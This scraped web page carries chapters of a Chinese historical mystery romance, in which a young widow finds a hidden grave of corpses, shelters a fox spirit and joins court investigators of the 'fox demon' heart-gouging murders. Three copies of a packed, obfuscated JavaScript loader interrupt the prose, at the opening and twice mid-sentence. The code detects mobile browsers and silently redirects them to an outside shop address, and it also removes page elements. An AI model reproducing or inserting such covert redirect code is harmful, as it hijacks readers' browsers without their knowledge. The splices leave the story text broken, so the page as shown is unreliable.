l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956992|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 检查时那具尸体还尚有余热,为首的捕头登时脸色一变,忙吩咐人将其处理了,还对手下说快去向什么人禀报。 不过那着急的样子不像是因为出了人命,倒像是秘密将要暴露时的方寸大乱。 元和景并未注意到这些,毕竟她也没有过报官的经验,心想着把人带到应该就算是功德圆满,于是便趁着四人不注意,自顾自离开了现场。 方才逃跑时没考虑到那么多,现在要重走一遍就有些困难了,元和景凭着记忆四下转了转,却是再看不见那个红衣翩翩的身影。 绕着绕着也不知道走去了哪里,忽见一片矮树丛里隐隐约约透出些不寻常的颜色,她下意识抬脚走过去,拨开乱糟糟的枝桠一看,竟是那只许久未见了的小狐狸。 “竟然是你,可叫我好找啊。” 元和景忙不迭朝它伸出手,之前还跑得呼呼生风的小东西这下倒是乖顺了些,不挣扎也不乱动,右后腿的伤口已经凝血,边缘处糊了好些残渣脏泥,还是得带回去清洗包扎一下才行。 可就在元和景毫无防备地抱起小狐狸时,却发现它趴过的那块地方泥土颜色十分新鲜,还带着些许潮气。一块灰扑扑的布料正从中露出小半个边角,就这么直白了当地落入人眼中。 元和景感觉脑子里有什么东西轰然倒塌了,一时间愣在原地不知如何是好,抬头望了望,她才发现这矮树丛后的一大块都是被翻过的新土,只是盖得十分平整,就算路过也很难发现异常。 这里已经超出周家坟的范围,按理说不会有谁在此处下葬。如此想来便只剩下一个可能…… 有人在这里藏尸! 理智告诉她赶快离开,走得越远越好,可一种莫名的力量却驱使着她蹲下身来,随手捡起根还算结实的断枝,顺着那截布料挖了下去。 越往深处挖,布料便露出得更多,约莫五六下后,元和景已经能辨认出这是一只袖子……一只普通百姓衣服上的袖子。 像是为了验证猜测,她忙不迭寻了另一处颜色分界明显的地方开挖,撬起的土溅得到处都是,就在她担忧树枝快要断掉时,新一轮飞出的土里紧跟着一截惨白肿胀的手指。 是人的小指,不过已经肿得不成样子,或许是树枝正好刺破了它,才在正中央留下个带着泥的豁口,有一滩青绿发黑的不明液体正从断处缓缓淌出来。 来不及看得更清楚,元和景几乎是以从地上弹起的姿势飞快起身,弯腰捞起狐狸也不过是瞬息的事。已经不记得这是第几次要离开这座林子,不过元和景很清楚的是,自己之后再也不会踏足此处一步了。 只要速度够快,脑子里便没机会再想那令人头皮发麻的东西,元和景一刻也不敢停地跑出林子,径直回了少卿府,从后门进去时差点撞到下人,听到一声惊魂未定的“夫人”时才让她稍微清醒了些。 下人见她脸色苍白,一副惊吓过度的样子,便出口询问。元和景呆呆地摇头,喉头又苦又涩,吐出的字也是僵硬无比:“无事……我无事。” 再想回去守灵已是不可能,元和景只好交代檀月转告老夫人,自己身体不适先行回房,顺便吩咐了拿份伤药送来。做完这一切,后背的冷汗早已被吹干,只有止不住发软的腿还在无声诉说着刚才的惊心动魄。 包扎这等小事,幼时贪玩受伤后曾见姐姐做过,因此她做起来并不生疏。狐狸小腿细而结实,一只手便能抓住。硬硬的短毛略微有些扎人,不过摸上去更多是痒。 元和景集中了精神给它清理伤处,狐狸也就乖乖趴在桌子上不动,只有感觉强烈时才会小幅度地抽动一下,耳朵和尾巴皆是无精打采地耷拉着,像是累极了。 折腾了大半天,元和景也是身心俱疲,可她毫无睡意,闭上眼便会不由自主想起那个黑衣人,还有那个细节未知的藏尸坑。 如果说整个坑都被填满了的话,少说也得有十几具尸体,可就算是掏心案,官府报出的死者也不过七数,究竟是谁能悄无声息地杀了那么多人,还安然无恙地把尸体藏在了林子里? 4. 签筒无果 这个大坑背后一定藏着什么秘密…… 脑子里更加坚定了这样的想法,手下却突然传来一声嗓音细细的哀鸣,元和景忙低头看去,竟是自己思索间无意拔下了几根狐狸毛,证据还大张旗鼓地被夹在指尖。 狐狸还在断断续续地呜咽着,湿漉漉的大眼睛一眨不眨看着她,好似受了天大的委屈。 “对不住对不住啊。”元和景忙把那罪证随手丢开,而后小心翼翼去抚摸那颗毛绒绒的脑袋,幸好对方并未生气,不仅享受地眯起眼睛,还配合着把头凑到她掌心里,好让耳根也能被摸到。 得了鼓舞,元和景便得寸进尺起来,毫不客气地从头撸到了尾,顺滑流畅的手感激起心里极大的满足。狐狸全程都顺从地趴在桌面上,包扎好的后腿还露在外面,只有在被摸到尾巴时才会不自觉身体轻颤。 摸着摸着又看见狐狸尾巴尖上的那簇白毛,小小的一块,却又在大片热烈的红中十分显眼,总让人想起昨夜,那些月光下那个庞大而奇怪的黑影,它用作武器的那些尾巴上,也在相同位置有这样的标志。 “难不成我昨晚梦见的就是你?”元和景一脸严肃地将狐狸从头到尾打量了个遍,随即用一根指头戳了戳它的背,好商好量的语气,“你再变一个给我看看呗?” 而对方只是象征性地抖了抖耳朵表示回应,两条前腿枕在下巴上,蓬松的尾巴围住大半个身子,双目轻阖,俨然一副快睡着的模样。 元和景从鼻腔里发出一声不轻不重的“哼”,也懒得再跟它计较,起身去镜子前粗略理了理仪容后,便去了前厅去寻祝老夫人。 此时刚过正午,宴席散场,她还特意等元敬瑭离开后才出来送客。祝老夫人还问过她的身体如何,元和景含糊搪塞过去,又陪着去了灵堂,等送老夫人回房间后,天色已是垂暮将至、明暗难分了。 原本没抱着这只山野小狐狸能乖乖留在屋子里的念头,进门点蜡后却发现床上被褥可疑地突起了一块,元和景大手一掀,果然见那狐狸把自己团成了狐饼,正睡得香甜。 “你竟然还懂得冷了盖被子?真是有灵性。” 作为这场鸠占鹊巢里最大的受害者,元和景实在很难在语气里多添几分真心实意。周家坟的所见还像一块阴云般笼罩在心头,让她连睡觉的心思都没有了。 是往下追查还是当作视而不见? 无论是元家大小姐还是如今的祝家夫人,选择前者都可保她日后高枕无忧。但作为元和景,她无法确定之后那大坑里还会不会有更多尸体……或者说,自己会不会在某天也成为其中的一个。 在里面安静地、孤独地,含着冤屈地腐烂掉…… 何事可为何事不可为,她不知道,《女诫》、《内训》里也从未讲过。 元和景捧着脸坐了很久,最后将目光落在书架格子里的签筒上。 怕惊醒那只呼呼大睡的狐狸,她摇得很慢很轻,六十根签子在里面来回碰撞,发出有节奏的“沙沙”声,木签被轻巧抛起又迅速落下,谁也不知道掉下来的那根会是什么结果。 或许是力道太小的缘故,签子跟跳舞似的在筒里转了十几个来回,摇了快半刻钟也没有要出来的意思。元和景顿时有些泄气,刚把手停顿在半空,却有格格不入的一根猛地弹了起来,“啪嗒”一声掉入满室明黄的烛光中。 正巧是背面朝上,不能让人一眼就得到结果。元和景忽然有些迫不及待,连忙捡了拿起来对着烛火看,上面清晰写着“壬戌鲍叔牙荐管仲”。 很是眼熟的签号,她曾在兄长的生辰礼是否要亲自前往一事上抽到过,此签意为“南辕北辙,事与愿违”,是这签筒里为数不多的下下签之一。 选择已定,接下来便该梳洗休息,待明早日升后,照例去敬茶、守灵……之前所见所闻的种种,新奇也好惊悚也罢,便都当作黄粱一梦了。 元和景将这根签攥得紧紧的,拳头边缘几乎泛着白。原来得到结果后,也不是每次都会觉得豁然开朗。 她飞快将手里的东西一股脑塞回书架格子里,做贼心虚似的又扭头去看床上,那只狐狸除了呼吸起伏之外几乎一动不动,看来也并未被吵醒。 元和景去将烛火挑亮了些,然后俯身于书案边,取纸、研墨,落笔…… 卷首的“齐少卿”三个字隽秀工整,半日内的周家坟见闻也尽数铺展于其中,唯有落款处却是空白一片。 吹干后折好装入信封,做完这一切,元和景像是被打通任督二脉般浑身轻松,吐出一口气时内心有说不出的通畅。 屋外传来丫鬟敲门,说是亥时已到,该歇下了,元和景应过后便起身往床边走,那狐狸还大言不惭地占据着多半个床榻,见人来连也只是懒懒地掀开眼皮一看,若不说还真以为这里是它家了。 “喂,这是本小姐的床,你走开!” 手上没怎么用力地推了推,自然是没推动,狐狸抬起头来打了个哈欠,随后又跟没事人似的趴下了。元和景撸起袖子就要把它抱起来丢开,可这狐狸像是突然吃了石头般有千斤重,任她又敲又打,自是老僧入定屹然不动。 “你这臭不要脸的狐狸,明天就把你丢了。”元和景没法,只好唤檀月来添了被子,自己挪到对她来说还算宽敞的内侧睡下。 毕竟是婚房,躺下两个人尚且宽裕,更莫说是一人一狐。烛火吹灭后室内陷入黑暗,并不明朗的月色只堪堪触及窗棂,洒下朦朦胧胧的一片,如梦如幻,似雾似纱。 奔波劳累了一整天的元和景很快便睡熟了,呼吸温和地融入空气中,汇成浅浅的微风。无边墨色下,一双白亮亮的眼睛猛然出现在半空中,瞬息后化成清透的琥珀色。 而那床被元和景慷慨赠出的被子下,属于人类的身体和四肢逐渐将之塑出起伏流畅的弧度。 有极轻极柔的凉意落在脸上,元和景下意识皱了皱眉,那点不适感很快就消失了。她还尚在梦中,对此毫不知情,恍惚间只当是月色闯入纱帘,而纱帘无意偷吻了我。 翌日一早,元和景赶在敬茶前起床,那只狐狸还蜷在被窝里毫无动静,检查完还活着后她便偷偷溜去了后门,将信交于街边的小童,千叮咛万嘱咐一定要亲自送到齐少卿手中。 再过几日便是祝长生出殡的时候,少卿府内要操持的地方还有很多,祝夫人却在今天病倒了。敬过茶后对其他事都是含糊其辞,只着重宣布了下葬一事延后,问及缘由也只说真相未明,不可操之过急。 真相再怎么未明,人死又不能复生。元和景心里这么想,但嘴上是万万不敢说出口的,见祝老夫人虚弱得厉害,送她回房后就不再叨扰了。 如此这般等了一天,送出的消息却是了无音讯,元和景不知怎的心里越发没底,派出去打听的檀月迟迟未归,她却等来了一个不该出现在这里的人。 “三小姐,求你救救我的家人吧,他们死得冤枉、死得冤枉啊……” 小梅说得声泪俱下,引得元和景不由得正色,连忙将她小心扶起,屏退管家后才问道:“究竟发生了什么,你坐下来慢慢说。” 方才被撸得舒服的狐狸很自觉跳上了桌面,前爪枕住下巴趴成它最舒服的姿势,只有身后那条蓬松的大尾巴还悠悠然地甩来甩去,有一下没一下地碰着元和景的肩头。 “奴婢前些日子告假回家,搭牛车坐了足足两天,推开门却看见满地都是血,屋子里一个人都没有。我去问附近的婶子,她说她说好几天没看见我爹娘……” 说着,小梅又忍不住抽噎起来,张了张嘴却是再也说不出话,元和景连忙倒了杯水递过去:“然后呢,你可有报官?” “报了,报了……”小梅手抖得厉害,堪堪抿下一口便把茶盏放下,“当官的说,我爹娘是被狐妖掏了心,现在怕是连尸骨都找不回来了。” 见她情绪隐隐有些失控,元和景忙出声安慰,却被小梅以突然坚定起来的语气打断:“但奴婢知道,我爹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956993|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘绝对不是狐妖害死的!” “为何?” 小梅颤着手从袖口里掏出一样黑色的事物,递给元和景后才接着说:“我家后院种了菜,怕野猪来偷就养了条大黄狗,这是我在狗窝里发现的。” 那是一块巴掌大的布料,质地轻薄,边缘凌乱错杂,摸上去还略有些湿,一看就是被狗嘴咬住用力撕下来的。 若非要说……倒是和夜行衣的材质十分相像。 元和景正凝眉思索,小梅停顿片刻后又开口道:“而且,大黄的嘴里还有血迹,我绝对不会认错!” 如此一来,小梅父母之死便可百分百断定为活人所为,可就连京郊的地方官员也一口咬定这是狐妖作乱,口径统一得像是在遮掩着什么。 这掏心案……绝对没那么简单! 小梅还在断断续续地落着泪,元和景神色凝重,半刻后心里已然做好决定,拍了拍她的肩温声道:“放心,我明日便去大理寺请齐少卿探查此事,定还你父母一个公道。” 安顿好小梅后时辰也不早了,元和景决计不让狐狸再抢走自己的床,连着被子一块给它丢到了小榻上,却没想到夜半时分突降大雨,来势汹汹的倒春寒冻得人在被窝里直打哆嗦。 那狐狸或许也感觉到冷,一声不吭地跳上床。元和景在被子里陡然摸到热源,没多想便贴了过去,后半夜总算能舒服地睡下。 于是她清晨无意识发出呢喃时,便冷不丁地吃了满嘴毛。 “呸呸呸……” 这一闹瞌睡算是彻底醒了,元和景看了眼被窝里盘成一团的狐狸,又起身去把掉在地上的被子捡起来,没忍住嘟哝道:“你还真是阴魂不散。” 照例在早膳后将老夫人送回房,马车一路畅行无阻到了大理寺。元和景想着祝长生也是大理寺少卿,只可惜英年早逝,自己还没能耍过少卿夫人的威风,也不知道现下这身份还作不作数。 下马车时正好留意到门口布告栏上新贴的告示,元和景粗略看过,无非说了掏心惨案皆由神秘狐妖所为,请诸位民众多加防范,如有发现踪迹者,重重有赏。 如此人命关天的大事,一无人证二无内情,就这么推到一个虚无缥缈的狐妖身上,实在不像大理寺的行事风格。 向守卫说明来意后,前来接待的是一个身形魁梧、不苟言笑的男子,恭敬行礼后,他道:“在下大理寺寺正邵常,少卿已经在大堂等候,夫人请随我前来。” “有劳邵寺正了。” “祝夫人不必客气。”说罢,邵常转过身带路,落脚时却一轻一重,即使他极力克制,也难掩微跛的姿态。 元和景犹豫道:“邵寺正的腿……” “无妨。”邵常侧过头来微微一笑,“大理寺狱丞名石岩,酷爱养些小猫小狗,属下路过时不慎被咬伤了腿,不过并不严重,过些日子便好了。” 听过解释后,元和景几乎立刻便断定出他在说谎。邵常看起来不像是没有功夫的文人,却能在大理寺里被咬伤。就算是一时不查,明知有狗却不提前防备,那便只能是事发突然,来不及防备。 况且,小梅家里也有一条用作看守菜地的狗。 言辞含糊的告示、莫名被狗咬伤的寺正,在这节骨眼上突然出事的另一位少卿…… 还有那封石沉大海的匿名信,究竟是没收到,还是收到后选择不作为? 前面还有几步阶梯,元和景猛然顿住,随后像是突然想起来什么似的,一脸懊恼道:“今日出门出得急,现在才想起忘记拿赠予齐少卿的礼物了,空手拜访实在无礼,我还是改日再来吧。” “祝夫人……”邵常想要挽留,却见她去意已决,只好不再多说。 元和景装作若无其事的样子,尽量将步伐迈得从容些。本以为能就此全身而退,却没想到背后一道含着笑的男声凭空响起—— “祝夫人不必客气,既然来了,那便进来坐吧。” ……是齐竟。 5. 嫁了个人 话已至此,元和景再推拒倒显得刻意,只好硬着头皮走了进去。邵常自觉守在门外,大堂中央的高位空悬,旁侧小案上书卷正堆得整齐,想必平日里审问犯人便是在这里进行的。 “前日是我和祝……呃夫君的大婚,齐少卿因公事缠身未能亲自到场,贺礼由下人转交。”为避免齐竟怀疑,元和景选择先发制人,“无法当面道谢实属惋惜,于是今日特地登门拜访,却无意将礼物忘在了家中……” 说着,她端端正正地行了一礼:“还望齐少卿海涵。” 齐竟连忙将她扶起,声音温和:“祝夫人这是哪里的话?我与祝少卿共事多年,他的大喜之日,我理应有所表示。只可惜掏心案忽然出了些岔子,不得已只好缺席婚宴,于情于理,是我该向祝夫人赔不是。” 听到他主动提及掏心案,元和景心头猛地一颤,却不敢顺势接话,只能装作混不在意的样子道:“齐少卿心系案情,实乃百姓之幸,和景感激不尽,又怎会怪罪?” 如此你来我往地聊过人情世故后,见齐竟并未表露异常,元和景便生了离开的心思。无论掏心案真相如何,总之齐竟并非能完全交心之辈,周家坟和小梅的事如何打算,之后还需再做商议。 “天色不早,和景便不再叨扰了,待改日齐少卿闲暇时再来拜访。”元和景说完便要离开,一只脚堪堪跨过门槛时,却突然被叫住。 “祝夫人……”声音在几步开外的地方响起,“最近狐妖掏心一事闹得满城风雨,祝夫人平日还是少些走动,安全为重才好。” 他说得很慢,和平日里表达关心的语气没什么两样,元和景却在其中品出了隐隐的警告意味,被刻意咬重的“安全为重”几字更是让人不寒而栗。 “大理寺正全权调查此事,力求不再有伤亡,可人毕竟只是肉体凡胎,总有疏漏的时候……本少卿还是希望祝夫人能安然无虞,祝老夫人和元将军才会放心啊。” 无端升起的寒意冻得血液都止不住发凉,元和景只能无声地手握成拳,以掩饰颤抖的幅度。她稍稍停顿后便信步迈过门槛,沿着阶梯一步步下行,在外侍奉已久的邵常打算来送,被她厉声喝止了。 走出大理寺后,元和景才觉得空气开始流通,即使还泛着昨夜雨后未褪去的寒,她也使劲吸了好几口,好让六神无主的大脑获得一丝清明。 没猜错的话,齐竟应该是收到了匿名信,而且也知道这封信为谁所写。若是她不管不顾继续调查下去的话,别说查明真相,怕是自身都要难保了…… 下一步如何做还毫无头绪,元和景心不在焉地上了马车,也未留意车夫的面容。待行进约莫一炷香时间后,她才意外发觉,现在这条路不是回少卿府,也并非是去往将军府的! 一波未平一波又起,元和景现在彻底慌了神,心脏像是被紧紧攥住,呼吸都变得艰难起来。她不明白自己做错了什么,分明她也只是想帮帮那些无辜枉死的人,帮帮小梅……可她不仅没帮到,现在连小命也要搭进去了。 马车还在不紧不慢地往前走,街上人来人往喧嚷不断,元和景掀开帘子看了一眼,想大声呼救却迟迟提不起勇气,她怕别人把她当成疯子不予理会,也怕绑架的人发怒直接下死手……可她不会武功,想靠自己逃出这座轿子简直是难如登天。 元和景无助地靠在轿厢,任由泪水断了线似的从脸上滑落。 这么快就要死了吗,明明江印月曾给自己算过一卦,说这是能活到九十九岁的命呢…… 遗言还未想好,只听得“吱呀”一声响,马车停下了。 元和景被吓得差点从软垫上弹起来,猝然而至的静默中,唯有心跳声震耳欲聋。 敌不动,她也不动,就这么僵持过半晌后,轿帘外传来一个年轻的男声:“元小姐,请下车吧。” 元和景将座椅抓得更紧,不说话也不起身,想着横竖都是死,能拖一会是一会,最好能拖到有人发现这座轿子不对劲的时候。 像是忽然意识到她的顾虑,轿子外那人懊恼地一拍大腿,再开口时语气和善了不少:“放心,我们是祝少卿的人,不会伤害你的。” 顿了顿,他又补充道:“在下大理寺司直,周子萧。” 元和景还不敢放松警惕:“你如何证明?” 话音刚落,风将轿帘吹起一角,一个小事物便趁这间隙直直朝元和景飞来。她本以为是暗器,下意识往角落躲,待那物落地后才发现是块腰牌,玄铁材质,方方正正通体漆黑,刻下的“司直”二字隐约有银光流转。 “这是证明我身份的。”那人从容道,“至于是否会伤害你一事,我暂且无法证明。” “若是不愿意下来,我现在便送小姐回去。不过掏心案的真相,还有祝少卿的下落,恐怕元小姐也无从得知了。” 手上的力道紧了又松,元和景内心还在天人交战,对方说完这句后便不再出声,显然是在等着她的决断。 很快,轿帘被利落地掀开,元和景道:“祝长生不是死了吗,你说他的下落是何意思?” 男子有些尴尬地摸了摸鼻子,视线躲闪:“不小心说漏嘴了,但你是他娘子,告诉你应该没事。” “因为一些不得已的原因,少卿需伪装成身死的假象,不过待掏心案事了,他便会回来了。” 元和景还未从方才的恐惧中回过神,娃娃亲夫君其实没死的消息便朝她闷头砸来,身为没什么感情基础的新婚妻子,她也不知此刻是该高兴还是该难过。 “喂!你高兴傻了?” “啊……没有没有。”元和景猛然回神,意识到自己身份后又连忙改口,“有有有。” 说话间,她也能将这个陌生男子的面容尽收眼底。对方和邵常一样,穿一身青灰色的大理寺制服,身形瘦而挺拔,长发束成马尾。轮廓分明的五官丝毫不掩武者自带的傲气,但眉黑却不显粗犷,稍尖的眼头更削弱几分锋芒,只留下独属于少年人的意气风发。 周子萧轻笑一声,单手撑地利落地翻身下了车,而后朝她俯身颔首,作出诚意十足的姿态:“多谢元小姐信任,那便请吧。” 跟着他穿过隐蔽的后门,一路上也没遇到什么人,只有三只甩着尾巴的狗自顾自从两人身侧过,元和景忍不住问道:“这是大理寺吧?原来你们大理寺真有养狗的。” 她本以为邵常不过是随意找了个借口,却没想到这里面的狗还真不少,一看就知道不是什么名贵品种,不过身上干干净净,皮毛也油光水滑,定是被主人好好对待着的。 “没错,岩哥素来爱和这些小东西打交道,遇到流浪猫狗就顺手带回来,自己给他们买东西做饭。祝少卿虽然看上去不太喜欢它们,不过并未阻拦,久而久之他也快开上收容站了。” “原来如此。”元和景点点头,心底的敬佩之意油然而生,“这般心善的人,现在倒真是不多见。” “嗯……”周子萧停下脚步,朝她歪头示意,“到了。” 抬头一看,面前这座建筑相比大堂来说朴素了不知多少,乌木牌匾上写着“档房”二字,门还严丝合缝地关着,元和景心里又有些犯嘀咕:“这门背后不会藏着杀手吧?” “哪需要如此大费周章?”周子萧丝毫不掩话中的笑意,“那便我来开。” 元和景自知对付她的确不用请什么杀手,吃了瘪也只能闷闷吞下,然后一声不吭地随他走进去。 一如其名称,屋内果然四处摆着书架,格子都被书籍卷宗填得满满当当,进门便有淡淡墨香扑面而来。里侧的书架旁摆了张桌子,边角处也尽数被几摞杂乱的竹简占据,而其中的章法,或许只有其打理人才能知晓了。 重重书山之间,已然有两人等候多时—— “在下大理寺寺正,贺均。” “大理寺录事兼评事,云青。” 先开口的男子看起来比周子萧年纪稍大些,模样周正,一身正气,声音低沉浑厚。另一名女子则坐于桌子后方,执笔的手指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956994|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白且纤细,简单簪起的头发正配一丝不苟的大理寺制服,眉清而目秀,虽非绝色,出尘的气质却更让人移不开眼。 元和景恍惚间有了已打入大理寺内部的错觉,同样回礼道:“见过贺寺正、云录事。” “元小姐放心,我们奉祝少卿之命调查掏心案,大理寺虽已放出狐妖掏心的公文,但事实却并非如此。元小姐若是有什么发现,尽可如数相告,我们自会秉公办事。” 周子萧不知何时换上严肃的神情,抱着双臂走到她身旁,伸来的手上正捏着个素白的信封:“此物便归于原主。” 元和景一下认出那是自己托乞儿送出的信,没想到被周子萧截了胡。不过现在看来,没送到齐竟手里或许是件好事。 既然来了,那便再没什么好隐瞒的,元和景沉着地说了那天在周家坟见到的黑衣人和大坑,以及小梅的遭遇,只是刻意略去了从天而降的红衣男子和小狐狸。毕竟细细想来,他们算是帮过自己,掏心案凶手应当不会有这样的好心。 说到最后,她又不禁想起齐竟名为关心实则威胁的话,补充道:“还有齐少卿,他绝对也有问题。” “元小姐的观察力着实敏锐。”周子萧打了个响指,语气中满含赞赏之意,“他不仅有问题,而且问题还大着呢。” “那你们打算怎么办?” 大理寺三人对视一眼,随后是贺均拱手道:“我们确实有个计划,不过……还需要元小姐帮忙。” 能协助大理寺办案,对于元和景来说可是相当新奇的体验,可待她听完几人口中的“计划”后,心里已经开始打起退堂鼓了。 “我没有武功,到时候万一跑不掉……而且我长姐临行前千叮咛万嘱我别闹出什么大事来,要不还是……算了吧。” 她越说越没底气,到最后已经不敢看他们的眼睛。许久未出声的云青在这时放下笔,看向元和景的目光沉静而又淡漠:“元小姐不必自责,你的担忧我们都能理解。如此,还望元小姐能对今日发生之事守口如瓶,云青感激不尽。” 话中送客的意思已经很明显,元和景也不好再留,只是对于三人丝毫不挽留的态度还是有些意外。随周子萧去往后门时,她还是忍不住开口:“接下来你们打算怎么办?” 周子萧像是猜出了她的想法,安慰道:“放心,总有别的方法的。你无需多想,拒绝自己力所不能及之事也是一种智慧。” “倒也不是做不了。”元和景叹了口气,“只是过去从未做过,心里有些没底。” 她粗略在脑子里把计划又过了一遍,其实自己也没什么特别危险的事要做,无非是利用祝夫人的身份造造声势,再扮作诱饵引蛇出洞罢了。 进轿子前,元和景终于鼓起勇气,回头对周子萧道:“我回去考虑考虑,明日再给你答复。” 周子萧有些意外地挑眉,随即应道:“不必勉强自己,我等你的消息。” 待马车缓缓发动后,元和景总算有时间喘口气,这几天发生的事情太多,总让人觉得有些离奇,她从未想过一个已故少卿的夫人要承担这么多东西…… 哦不对,没有已故,祝长生还活着呢。 想到这,元和景感觉头更痛了。 眼下已近日昃,也是该回少卿府去,看看有哪里需要打点的。元和景闭着眼睛休息了会,却发觉马车突然停下,像是被什么人拦住了去路。 还以为又要凭空冒出什么大人物来,却只是一个专门给人跑腿送信的小童来递了信,待车夫接过后就很快跑开了。 没过多久,信便被送到元和景手里,刚看过信封上的署名,她下意识脱口而出:“纳兰公子!” 将信纸铺展开来,苍劲有力的字迹立马映入眼帘,显然是纳兰卿的手笔。自从准备婚事后,元和景已经许久未去南风馆探望,如今信上写了“墙外玉兰开,应是邀君来”,想必也是该去看看了。 这么想着,元和景连忙吩咐车夫:“转道去南风馆。” 6. 诱饵难当 南风馆是全京城有名的玩乐之地,喝酒吃饭、赏舞听曲无一不有,不过这些也只是表面功夫,至于那些见不得台面的腌臜事,元和景从未做过,自然也就无从知晓。 虽说还未到人最多的时候,馆内却已是一片歌舞升平的热闹景象,小二忙得脚不沾地,元和景进门时也无人接待。不过她倒也不在意,径直逆着人流穿过前堂和客房,侍者们的房间就在最里面。 远离尘嚣后耳根子的确清醒了些,但时不时传来的吆喝哄笑声依然吵得人心烦。敲过几下后,门很快从里面被打开,来人一袭素袍纤尘不染,散落的长发随意披在肩头,皮肤泛着近乎透明的白,分明是男子,却生得一副柔而温婉的样貌,眉眼精致得好似画中仙人下凡。 见到元和景,那双向来淡然无波的眸子里浮现出些许波澜,薄唇微启,他吐字极轻:“元小姐,许久未见了。” 元和景怎会听不出纳兰卿语气里的埋怨,但自知理亏的她也无可反驳,只好讷讷地解释:“最近……太忙了。” 纳兰卿自顾自走到书案后坐下,将那本平摊着的书又捧起来,修长纤细的手指即便是捻着泛黄的纸张,看上去也相当赏心悦目。 “忙着成婚?” 信手翻过一页,他的目光还落在书页上,不咸不淡地道。 元和景轻车熟路地在桌旁的小凳子上坐下,双手撑着脸幽幽地说:“这是我能想到离开元府最好的方法,被关在里面爹不疼哥不爱的,我实在受不了了。” 因着角度的原因,她并未看到对方投来的视线,其中似有心疼,也隐约含了几分不甘。半晌,纳兰卿道:“那祝长生不过已死之人,待之后你寻到心仪对象后,再寻个由头和离也好。” 有些话他想过很久,但在喉头滚过几遍后还是未能说出口,他明白,现在还不是时候。 而元和景此时又想起祝长生没死这事,登时被噎了一下,只好强行扯开话题:“不提也罢,你呢,考试感觉如何?” 自三年前她偶然结识纳兰卿起,他便在为科举考试做准备,只是白日里总是忙碌,再加上毫无基础,童试屡屡未过,今年已是第五次参加了。 提及此,纳兰卿放下书,按捺不住的兴奋从语气中露出些蛛丝马迹:“应当是能过的,这次考的诗文我都背过。” “真的吗?”元和景打心底替他高兴,雀跃地道,“若是这次能过,今年九月便可参加乡试了。” “若是不出岔子的话,的确如此。” “太好了!” 元和景直起身子,忍不住开始想象起以后的事,思考之余又开始担忧,“那备考时间岂不是很紧张,你一个月里也难得休息几次,日后只能在夜里挑灯苦读了……” 纳兰卿垂眸看她,唇角漾开温柔的弧度,恍惚间好似冰雪消融,沉寂整个冬天的玉兰花皆在此时开放,元和景看得有些呆了,只听见他说:“科举本就如此,谁不是头悬梁锥刺股得来的功名,我若连这点苦头都吃不了,又何时才能离开南风馆?” 想起纳兰卿早些年的遭遇,也实在令人唏嘘。若非身为猎户的父亲在山里突遭狼群袭击,而母亲又走投无路,他也不会落得入南风馆的下场。元和景刚想开口,却被一阵敲门声不客气地打断。 “纳兰卿,老板叫你下去接客。” 这声音来自于南风馆的一名小二,惯是副人前谄媚人后摆谱的丑恶嘴脸,元和景每每见到都气不打一处来。纳兰卿脸色微变,却还是波澜不惊地回道:“今晚并非是我接待,你去找魏棹吧。” “啧……让你去你就去,难不成还等老板亲自来请你?” 元和景皱着眉刚要出声反驳,就被纳兰卿眼疾手快地拉住胳膊。静默片刻,他像是妥协了般肩膀一松,咬牙道:“马上就来。” “可这本就不该……” “无妨……”纳兰卿脸色有些难看,这两个字也不知是在对元和景说,还是在对自己说。 “天色已晚,元小姐还是早些回去吧。” 说罢,纳兰卿将书合上后藏在枕头下面,接着便走出门去。元和景呆愣愣地看了会,心里又是生气又是无奈,末了只能憋着满肚子火离开。 回少卿府后照例先去看过老夫人,走到自己房门口时才想起里面还有个捡来的狐狸,问过檀月才知道她们给它安排好了一日三餐,心头的愧疚感这才少些。 屋内烛火正亮,那只红狐狸正趴在书桌上慢条斯理地梳毛,元和景本打算去摸一摸,伸到半空的手却被冷不丁一爪子拍开了。 她不信邪,非要往前凑,而那狐狸又扬起一只前爪,险些挠到她的脸。 “你发什么脾气呢?”它越是不愿,元和景就非要来一场霸王硬上弓,双手去捉它身子,对方却速度更快,脚底抹油似的一下子从眼前溜走了。 “嘿你这小东西,吃饱就不认人了是吧!” 元和景也是突然玩心大发,二话不说就追过去,而那狐狸轻巧地跃到书架上,“哗啦”一声将里面其中一本书推倒,落地时摊开的书页正好朝上。 狐狸又三两下窜回地面,爪子掷地有声地拍在书上。元和景凑近了去看,发现它指尖正对着其中的一句话,像是在指给人看似的。 “夫有再娶之义,妇无二适之文……” 元和景盯着那处一字一句地念出来。此言出自《女诫》,要求妻子须从一而终,即使丈夫亡故也应守节终生。 “这都什么跟什么啊。”元和景满不在乎地“嘁”一声,“我丈夫可还没死呢。” 边往桌边走着她又觉得不对,忙补充道:“再说了,就算死了又怎样?我可没做对不起他的事。” 余光不经意扫到那支签筒,元和景这才想起还有正事,一番琢磨后还是将其取了下来,在心底默念后她,顶着小狐狸探寻的目光便开始摇签。 